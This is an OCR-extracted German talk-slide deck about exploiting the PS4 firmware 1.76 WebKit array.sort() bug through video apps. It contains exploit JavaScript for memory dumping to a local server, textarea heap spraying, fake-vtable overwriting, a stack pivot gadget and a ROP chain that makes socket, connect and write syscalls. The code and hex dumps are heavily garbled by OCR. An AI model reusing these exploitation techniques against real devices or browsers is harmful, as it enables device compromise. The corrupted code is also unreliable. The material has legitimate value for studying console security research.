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Wie fing alles an?

* PS4 war als Geschenk fur mich gedacht
* Suche nach einer Konsole mit FW 1.76 (Bundle)
* Amazon Handler

o:(



Netzwerkanalyse

* Firewall (ipfire) hat traffic aufgezeichnet (tcpdump)
* Analyse der Pakete mit Wireshark
* Alle Video Apps (IGN, Vevo, etc.) verwenden AppleWebkit/531.3

* Theoretisch sollte der 1.76 Webkit exploit in jeder Video App noch
funktionieren.

* Umleitung der Video App DNS Anfragen auf eigenen Webserver.



1.76 Webkit exploit basICS (credits nas und

proxima)

* Nutz einen Bug in der array.sort() Funktion aus.
* Schreibt die Zeigeradresse und Lange eines Arrays um.

* Gibt den Angreifer die Moglichkeit uber ein u32 Array
beliebige Speicherstellen zu lesen/schreiben.

* u32base -> Adresse des Arrays
* setBase(0x8000000);

* var value = u32[0];

* u32[0] = Oxdeadbeef;



Memory dumping / ASLR

Exploit attempt...

u32 size: Oxlcdda9a0

u32base = 0x21cdda980

verify base = 0x81480ff8

WeDbKit2 base address = 0x80adfe60

* Immer an der selben Adresse. Kein ASLR???



Memory dumping / ASLR

for{var bb=0; : bb++) {

if{Backward) {

setBas=se (ba=se — (bb¥*4))
value 4= u32[0].toString()} + ",":
} else {
value 4= u3Z[bbk].toString{() + ",";
}
if({count = MaxlU32) {
fname = "http: 192.168.1.150: 8080/ dump?bazse="' + base.toString{le) +
S.ajax({
url fname,
type: "GET",
async: false
}):
count = 0;
value = "";
} else
counti++;



Memory dumping / ASLR

« Zugriff auf Speicher der App

* Falsche Offsets bedeuten Crash der App oder der Konsole
* Kleine Chunks auszulesen (4096 Bytes bestes Ergebnis)

* Heap war oberhalb von 0x200000000

* Code fangt wie bei FreeBSD bei 0x40000 an. (Ausnahmen)
* Modules/Pages liegen immer 16KB getrennt.

* Sehr lange lange lange Zelt....

* Sehr viele Gadgets gefunden



Memory dumping / ASLR

*  /media/mOrph3us1987/Daten/PS4/0ld/M08_800000000_80071C000 - Bless

File Edit View Search Tools Help

5 B & w @ B Q 12
New Open Save Cut Copy Paste  Find FindandReplace

MO08_800000000_80071C000

000fe260 |66 89 45 BC E8 67 C5 F9 FF 41 BC 02 00 00 00 85|f.E..g...A...... ‘
000£fe270(|CO 7E 50 49 8B 3E 8D 48 FF 4C 63 E9 49 29 FF 4D|.~PI.>».H.Lc.I).M
000fe280|39 EF 7D 21 48 8B 45 C0O 66 44 8B 45 BE 66 8B 4D|9.}!H.E.fD.E.f.M

000£f=e2%0|BC 41 BC 01 00 00 00 48 89 03 66 44 B89 43 08 66|.A..... H..fD.C.f
000fe2a0|89 4B OA EB 17 45 31 E4 83 F8 02 7C OF 48 8D 75|.K...El....|.H.u
000fe2b0|CA 4C 89 EA E8 D7 BO FE FF 4D 01 2E 4C 8B 2D 35|.L....... M..L.-5
000fe2c0|ED 05 00 45 8B 45 00 48 3B 45 DO 75 12 44 89 EO|...I.E.H;E.u.D..

000fe2d0 |48 83 C4 28 5B 41 5C 41 5D 41 5E 41 5F 5D C3 EB|H.. ([A\A]JA™A ]..
000fe2e0(24 1E F8 FF 90 90 90 90 90 90 90 90 90 90 90 90|S.... i innnnn
000fe2£f0 |55 48 89 E5 41 57 41 56 41 55 41 54 53 48 83 EC|UH..AWAVAUATSH..
000fe300(|28 48 8B 05 FO EC 05 00 4D 89 Ce6 45 31 E4 49 89| (H...... M..E1.I.

000f=e310|CF 48 89 D3 49 89 FD 4D 85 Fé6 48 8B 00 48 89 45| .H..I..M..H..H.E
000fe320|D0 48 8B 06 48 89 45 CO 66 8B 46 08 66 89 45 C8|.H..H.E.f.F.f.E
D00f=330 |66 BB 46 0OA 66 89 45 CA 74 75 4C 39 FB 74 70 45|f.F.f.E.tul9.tpE
000f=340|31 E4 66 66 66 66 66 2E OF 1F 84 00 00 00 00 OO|1.fffff.........
000f=350|4D 8B 45 10 4C 89 FA 48 8D 7D BE 48 89 DE 48 B8D|M.E.L..H.}.H..H
000fe360|4D CO 48 29 DA E8 76 7TA F9 FF 83 F8 FF 74 40 83 |M.H)..vzZ..... te
000fe370|F8 FE 74 3B 85 CO 75 18 31 CO 66 83 7D BE 00 75 t;..u.l.f.}..u

000fe380|0F 48 89 DF E8 97 AA FE FF FF CO OF 1F 44 00 O0|.H......o.... D..
000fe3%0|83 F8 FD 48 63 C8 B8 00 00 00 00 48 OF 45 C1 49|...Hc...... H.E.I
000fe3al0|FF C4 4D 39 F4 73 08 48 01 €3 4C 39 FB 75 Al 48|..MS.s.H..L9.u.H
000fe3b0|8B 05 42 EC 05 00 48 8B 00 48 3B 45 DO 75 12 44|..B...H..H;E.u.D
000£fe3c0|89 EO 48 83 C4 28 5B 41 5C 41 5D 41 5E 41 5F 5D|..H.. ([A\A]A™A_]
000fe3d0|C3 E8 32 1D F8 FF 90 90 90 90 90 90 90 90 90 90|..2.. ..
000fe3e0|C3 90 S0 90 90 S0 90 S0 90 S0 90 90 S0 90 90 90| ... inienannn
000fe3f0|E9 4B 9D FE FF 90 90 90 90 90 90 90 90 90 90 90| .K..vov i
000£f=400|55 48 89 E5 41 57 41 56 41 55 41 54 53 48 83 EC|UH..AWAVAUATSH..
000fe410|58 4C 8B 35 EO EB 05 00 48 89 FB 49 8B 06 48 89 |XL.5....H..I..H.
000f=420 |45 DO BO 01 48 83 BB 80 00 00 00 00 OF 84 7A OL|E...H......... Z.




Memory dumping / ASLR

CPU Read = 0x01
CPU Write = 0x02
CPU Execute = 0x04
GPU Execute = 0x08
GPU Read = 0x16
GPU Write = 0x32

|| Memory Pages.txt

xecutable
xecutable
xecutable
ibSceFios2.prx
NoName )eboot.
ibSceFios2.prx
ibSceFios2.prx
ibc.prx

9 (NoName)eboot.bin
10 1libc.prx
11 libc.prx
12 libdemen.prx
13 (NoName)eboot.bin
14 libdemen.prx
15 1ibSceAvPlayerPrxORBIS Release.pr
16 (NoName)eboot. 8
17 1ibSceAvPlayerPrxORBIS_Release.pr
18 libwebkit.prx ;
19 (NoName )eboot.bin
20 libwebkit.prx
21 libwebkit.prx

2 ScePackagelInfo

SceShellCoreutil

1
2
z!
_.4
5
6
7
8

e
e
e
1
(
1
1
1




RIP und RSP kontrollieren

* Wie kann ich mit einem arbitrary read/write den
Programmfluss ubernehmen?



RIP kontrollieren
VTABLE




VTABLE

Object vtable
VPTR —mmp vtable[0] function1()
> [,
vtable[1] //Do Something
}
vtable[2] \
vtable[3]
function2()
e {
//Do Something
vtable[n] }

* Gilt fur jede Methode in einer Klasse
* getter/setter fur Eigenschaften

* VTABLE liegt im RX Bereich, das Objektinstanz im RW
Bereich



VTABLE vs FAKE VTABLE

* VTABLE Pointer befinden sich auf dem Heap.
* Heap wird von uns kontrolliert.
* VTABLE Pointer mit einem FAKE VTABLE Pointer ersetzen.

functionl()

vtable[0]

//Do Something

vtable[1]

vtable[2]

vtable[3] function2()

//Do Semething

vtable[n]




Exploit Detalls

* Objekte sprayen (in meinem Fall textareas)
* Ein Objekt identifizieren

* VTABLE des Objektes finden

* VTABLE mit FAKE VTABLE ersetzen

* ROP Chain in Speicher kopieren

* ROP Execution triggern



Object spraying...




Object spraying...

loghdd {"Spraying my

gprays = new Array({spravysiz);
_gc.push (sprays) ;

= for{var o = 0; o < =spraysiz; ot+){
var el = document.createElement {("textarea™});
el.rows = 0X5637T3859;
_gc.push(el):
sprays[o] = el;
1
logadd {"Done spraying™):

* Textareas vor garbage collection schutzen.
* Anzahl Objekte = 0x1000

* textarea.rows dient der Identifizierung. (el.rows =
0x56575859)



Objekt |dent|ﬁ2|eren

eeeeeeeeeeee
loghdd { + u3Zbase.toString{l6})})

var adr = -1;
var l adr = 0;

E for(var i O: & i+#){

if{u32[i

loghdd ( + adr.toString{l6)}

[ if{adr < 0){
loghdd y:
return 0;

}

* Falls der Wert 0x56575859 gefunden wurde, wird er mit
0x55555555 ersetzt.

* Speicheradresse des Objektes: el adr = adr - (200)



var id¥ = -1;

° PrUfen We|Che ::f =] for(var xx:-.; = 0; XXX < spraysiz; =zxx++){
Textarea Objekt e o oo

loghdd("Found element at index: 0x" + Xxx.toString({le&)):

sich geandert e
hat s | .

& }

322 H if(idX < 0){
logAdd ("Element not found!™});
returm O

B }

* Wert erneut
andern um
100% sicher zu fyeets < overrasees;
SEII’] - izi:cﬂi;ﬁﬂ;}: value at Ox" + adr.toString(l6)}):

var v = u3z2[0]:
logadd ("Found wvalue: 0x" + v.toString({l&))

var 1 = sprays[idX]:

Fd B3 R3 Ra B3 K3 R R RdORD

= if{v 1= 0x12345673) {
logadd {"Value mismatch! Failed!™) :
returmn 0;

342 // Found object in memory!
3 !/ How looking for vtable, and replace it....
el vtable ptr = getUs4from(adr + wvtable off):

logadd ("Changing element [0x" + idX.toString({l&) + "].rows to 0x123456T8"



VTABLE finden

* Speicherbereich rund um das Objekt analysieren.

 Suche nach einem Pointer in einen Codebereich, der
eine VTABLE sein konnte.

* VTABLE ermitteln ist einfach!

£ OF T e e g T [ N
i L Ly L -1 _"'H.'H_-E L L A 8]

loghdd ( ) :

var obj = spravs[idX]:
obj.selectionStart = 1; /4 Trigger ROP EXEC




VTABLE finden

MO06_80438000_813A8000

00000360 ||A0 1E 1B 80 00 00 00 0O0|JjcO OC 18 B0 00 00 00 OO0 ««vvvvewewennnn.
00000370 |j]cO Cc7 18 80 00 OO0 00O OO||e0 3D 17 BO 00 OO0 OO0 QO « s v vvwwus B P
0000038010 57 17 80 00 OO 0O OOJ40 83 18 00 08 00 00 OO} W...... @.......
00000390 |20 AA 02 00 08 00 00 0020 AR 02 00 08 00 00 00} ..vcovev wowen..
000003a0 |20 AA 02 00 08 00 00 0020 AR 02 00 08 00 00 00} ...cvvev weuwen..
000003b0O |20 2AA 02 00 08 00 00 0020 &R 02 00 08 00 00 OO0} ..vcovene wuuwen..
000003c0O||20 86 18 00 08 00 00 OO|FO EFB 56 00 08 00 00 QO ..« veven. Veounn
00000340 ||90 FA 56 00 08 00 00 00|20 AA 02 00 08 00 00 00} . . Vv weuenns
000003e0 |20 AA 02 00 08 00 00 0020 AR 02 00 08 00 00 00} ..vcovev weuwen..
000003£0 |00 4A 01 00 08 00 0O 00|80 4 01 00O 08 00 00 OO0} .J. ... L6 I
00000400 ||BO 5E 01 00 08 00 00O OO}JS0 2D 01 OO0 08 OO0 OO0 OO "™+ euwwuwun e e e
00000410|BO 51 01 00 08 00 00 00|20 AR 02 00 08 00 00 O0) Qv vve weuwwnas
00000420120 AA 02 00 08 00 00 00|20 AA 02 0O 08 00 00 OO0} ...vvvv weuwen..

00000420 |20 AA 02 00 08 00 00 OOJ30 30 01 0O 08 00 0O OO ....... 00......
00000440 ||p0 3B 01 00 08 00 0O 0O|J0OO 3C 01 00 08 00 00 OO} .7 .- vvn-w Cwe e
000004350|90 40 01 00 08 00 00 OO0 3r 01 00 08 00 00 0O .@...... P?......
00000460 |50 20 1B 80 00 OO 0O OO|30 22 01 0O 08 00 OO OOQP ...... o"......
00000470||60 1E 01 00 08 00 00 OO0 EF 17 80 Q0 00 00 OO} " ....... S

0000048020 11 1B 80 00 00 OO0 O0O}JOO 87 18 80 00 00 00 O00) .. vuovevewennnn.
00000490 ||40 87 18 80 00 OO0 00O OO||e0 O6 1B B0 00 00 00 OOj|@....... e
000004a0 |60 08 1B 80 00 00 00 0080 C1 1A 80 00 OO0 00 O0) «vvveeesnsnsnns
000004b0|IBO0 C5 16 80 00 OO0 00 00|BO 1C 18 80 00 OO0 00 OO0 -« v v v v ewennnn.
000004cO|lco 1c 18 80 00 OO0 0O OOJ40 DF 1B 80 Q0 00 OO OO} ..+ ..... @.......
00000440 ||BO BA 1A 80 00 00 00 00|BO DF 1B 80 00 OO0 00 OO0 ««vvvvemewennnn.
000004e0 (|10 3F 18 80 00 00 00 OO0JEO 87 18 80 00 00 00 00 .2 v v v ivuensnns
000004£0||10 88 18 80 00 OO0 00 OO|60 AO 1A 80 Q00 00 00 OO} .+« u .- e e e
00000500140 9C 1A 80 00 0O 00 0020 A1 1A 80 00 OO0 00 O0)j@....... wuuon..




RSP kontrollieren

* FAKE VTABLE erlaubt uns ein Gadget auszufuhren

* ES muss also ein Gadget sein das RSP unter unsere
Kontrolle bringt (stack pivoting)

* Einziges brauchbares Gadget push rax ; pop rsp ; ret
* Wie ermittle ich den Wert von RAX?



Triggering ROP execution




GDB und PCBSD

« PCBSD9 VM, mit alten Midori Browser.

* Exploit Portierung war einfach, einzige Unterschiede sind
Offsets

2328 var P54 = navigator.userhgent — "Mozilla/5.0 PlaySta

241 var spraysiz = 0;

242 var £l _vtable_ptr = 07
3 var vtable off = 0
var fkvtable off
var vtablesize = 0;

var HeapBase = 0
var stack pivot =
var ropChainfidr =

= if(1P54) {
sprays=siz = 0O
vtable off
vtable=size
HeapBase = O
fkvtable off
stack piwvot

} else {

spraysiz = 0O
vtable off =
vtablesize

HeapBase = 0x2

fkvtable off = 3 *
stack pivot = 0x380438
ropChainiidr = HeapBase + fkvtable off + (vtablesize % 3);

) + 0xT7721c - Ox10;




GDB und PCBSD

* RAX = Speicher Adresse VTABLE/FAKEVTABLE




GDB und PCBSD

* RAX = Speicher Adresse

VTABLE/FAKEVTABLE
VPTR —m GADGET I
[ RSP I GADGET I
GADGET |

vtable[3]

‘l STACKPIVOT |




GDB und PCBSD

* RAX = Speicher Adresse

VTABLE/FAKEVTABLE
Object e * vtable entry 30 =
Ve ~=- |[_GADGET ] textarea.selectionstart
L_RSF | % » Stack pivot gadget muss
— an diese Stelle
* ROP chain muss an Anfang

\| STACK PIVOT | der fakevtable.




Triggering ROP execution
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var fkvtable = HeapBase + fkvtable off;
loghdd ("Wrtiting fkvtable to 0x" 4+ fkvtable.toString(le));

for{var i = 0; i <« wvtablesize; i++) {
setUedto (fkvtable + (i%3) ,stack pivot); // push rax; pop rsp; ret
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loghdd ("Writing BEOP chain to 0x" 4+ ropChainddr.toString{le}))

La

etting pavload on first 3 fake wvtable entries
f/ becaus RAX points to fake wtable wen exec is triggered
if({P54) {

setlUadto({fkvtable + (0O
setlUadto(fkvtable + (1

—
LT

- nop,; nop; ret
1); f/f endle=s= loop

[}
[1E
L1
n
L]
L]
[}
[ ]
1 o
ko
a2
i
=]

=]

Aleleln]
JJJJJJ

F/Trigger the ROP chain

logadd ("Trigger jump to ROP chain...™);

var obj = sprays[idX]:;
obj.=selectionStart = 1;
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=
e



ROP chain Beispiel

|@| ROPChainjs

ROPChain() {

GlobalRBP = 0;

miebkit
miebkit
miebkit
miebkit
miebkit
miebkit
miebkit

] = mWebkit +
] = mWebkit +

1 = mWebkit +
1 = mWebkit +

miebkit +

] = mLibc +

] = mLibc +

(Instruction, argl){
.Chain. ( .Gadgets[Instruction]);

(argl) !== )] .Pushvalue(argl);




ROP chain Beispiel

330 // ROP chain

431 var ROP = new ROFPChain()
432 ROP.Init (FixedREBP) ;

s ROP.Add("'pop rbp',FixedRBP) ;

RCP.5y=scall (5, Datalhdr ,0,200000) ; S Cpen Sdev/

437 ROP.Add (s
438 RCP.Add ("
hEE ROP.AdA ("L
441 ROP.Add ("¢
441 ROP.AAA("'=yv=call') ; S Bead JSdew/S

)i

'e3)

=i',Dataldr + 0x100});
',4096%100) ;

SHEiE ROP.Syscall {97,2,1,6}): [/ f Bocket

2o f/frdl = socket handle
] ROP.AAA{'mov rdi,ra=x"}: Sf rdi = rax (socket handle)

f
f
1

ROP.AdAd("'pop rax', 28);

4449 ROP.AAd( "'pop r=i'",S5cckihdr);

4510 ROP.2dd {"pop rdx',0x10);

451 ROP.AdAA("=y=call') ; S§ Connect

A

=i" ,Datahdr + 0x100});

',4096%100) ;

"y f/ Write

) ROP.2dd ("D
154 ROP.2dd ("
Sl ROP.Add('D
: RCOP.Add ("

=
Ed
I
ot

ROP.Syscall(l1,0};
ffEnd

for{var i = 0; i <« ROP.Chain.length; i++}{
setUedto(ropChainfdr + (i * 8), ROP.Chain[i]}:

[y
% ]

f

Fa TS SO I ]
{1}
=

L
T
et



Probleme/Limitierungen Videoapps

* Video Apps brauchen PSN Zugriff

* Kein JIT Zugriff (ab FW 3.15 egal)

* Video Apps unterstutzen kein Threading

* Sandbox

* Konnen einfach gefixt werden

* Total OK um einen kernel exploit zu triggern :D

https://github.com/mOrph3usl1987/rop example



Vielen Dank fur die Aufmerksamkeit
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